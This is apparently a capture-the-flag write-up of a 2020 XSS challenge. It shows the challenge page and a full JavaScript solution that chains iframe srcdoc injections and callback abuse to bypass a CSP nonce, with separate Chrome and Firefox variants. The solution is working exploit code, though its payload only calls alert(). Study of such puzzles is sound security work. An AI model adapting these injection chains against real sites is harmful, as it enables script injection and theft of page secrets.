Solution to 2020 XSS challenge

The challenge

  <h1> Here is my 2020 XSS challenge, Enjoy! </h1>

  <!-- Rules -->
  <div>
    <ul id="itemsList"></ul>
  </div>
  <!-- Client ID -->
  <h3> Auth application Client ID </h3>

  <!-- Sandbox client id: demo85266365425329.apps.myappstore.com -->
  <form name="form">
    <label for="client_id">Client ID:</label>
    <input id="client_id" type="text" class="inputbox" placeholder="demo85266365425329.apps.myappstore.com">
    <input type="submit" value="Continue">
  </form>
  <!-- Feedback -->
  <div id="result" class="message"></div>

  <script nonce="9saPYg4drgRTNhjsePMyRcWDj7s4tg">
  /* Rules */
  var rules = [
    "The goal is to alert the <b>csp nonce</b> in this origin 🎩.",
    "The solution must work in latest version of the modern browsers. (i.e. Chrome, Firefox, Safari, Edge)",
    "The solution must respect CSP.",
    "Please assume CSP nonce is dynamic for the sake of the challenge.",
    "Using resources on this domain except this page and/or connect.php is not allowed.",
    "No user interaction allowed.",
    "DM me on twitter with solutions: <a href='https://twitter.com/BenHayak'>@BenHayak</a> "
  ];

  function init() {
    rules.forEach((rule)=> {
      listValue = document.createElement("li");
      listValue.innerHTML = rule;
      itemsList.appendChild(listValue);
    });
  }

  document.addEventListener('DOMContentLoaded', (event) => {
    init();
    let p_code = new URL(location.href).searchParams.get('client_id');
    if (p_code) {
        client_id.value = p_code;
        connect(p_code);
      }
  })

  function callback(response, status) {
    result.className = "message"
    if (status === "406: Not Acceptable") {
      result.classList.add("error");
    }
    else {
      result.classList.add("info");
    }
    result.innerHTML = DOMPurify.sanitize(response, {ADD_DATA_URI_TAGS: true});
  }
  function connect(code) {
    let s = document.createElement('script');
    s.src = `/mini_2020/connect.php?client_id=${encodeURI(code)}`;
    document.body.appendChild(s);
  }

  form.addEventListener('submit', function(event) {
    connect(client_id.value);
    event.preventDefault();
  });

  </script>

alert("Error: 'aaa'", "406: Not Acceptable");

Writeup

Solution

<div id="solution">
<div id="iframes"></div>
    <script>
        function ii(p, cb, name=''){
            console.log(`Payload ${p}\nLength: ${p.length}`);
            return new Promise(r=>{
                let i = document.createElement('iframe');
                i.name = name;
                i.src = `http://challenge.benhayak.com/mini_2020/?client_id=${escape(p)}%26callback=${cb}`
                iframes.appendChild(i);
                i.onload = r;
                iframes.append('\n');
            })
        }

        function solve_all(){
            iframes.innerHTML = '\n';
            (async()=>{
                await ii(`<iframe srcdoc='<script><\/script>'>`, 'rules.push', 'x');
                await ii(`<iframe srcdoc='<script><\/script>'>`, 'top.x.rules.push', 'x1');
                await ii('1337', 'top.x.init', 'x2');
                await ii(`';top.x.s=parent.document.all//`, 'top.x.itemsList.lastChild.previousSibling.previousSibling.previousSibling.firstElementChild.contentDocument.head.firstChild.append', 'x3');
                await ii(`';alert(top.x.s.item(4).nonce)//`, 'top.x.itemsList.lastChild.previousSibling.firstElementChild.contentDocument.head.firstChild.append', 'x4');
            })();

            /*
                <iframe srcdoc='<script><\/script>'> // 35
                ';top.x.s=parent.document.all//     // 31
                ';alert(top.x.s.item(4).nonce)//    // 32
            */
        }
        function solve_firefox(){
            iframes.innerHTML = '\n';
            (async()=>{
                await ii(`<iframe srcdoc='<svg><script/>'>`, 'rules.push', 'x');
                await ii(`<iframe srcdoc='<svg><script/>'>`, 'top.x.rules.push', 'x1');
                await ii('1337', 'top.x.init', 'x2');
                await ii(`';top.x.s=parent.document.all//`, 'top.x.itemsList.lastChild.previousSibling.previousSibling.previousSibling.firstElementChild.contentDocument.body.firstChild.firstChild.append', 'x3');
                await ii(`';alert(top.x.s.item(4).nonce)//`, 'top.x.itemsList.lastChild.previousSibling.firstElementChild.contentDocument.body.firstChild.firstChild.append', 'x4');
            })();
            /* 
                <iframe srcdoc='<svg><script/>'> // 32
            */
        }
    </script>
</div>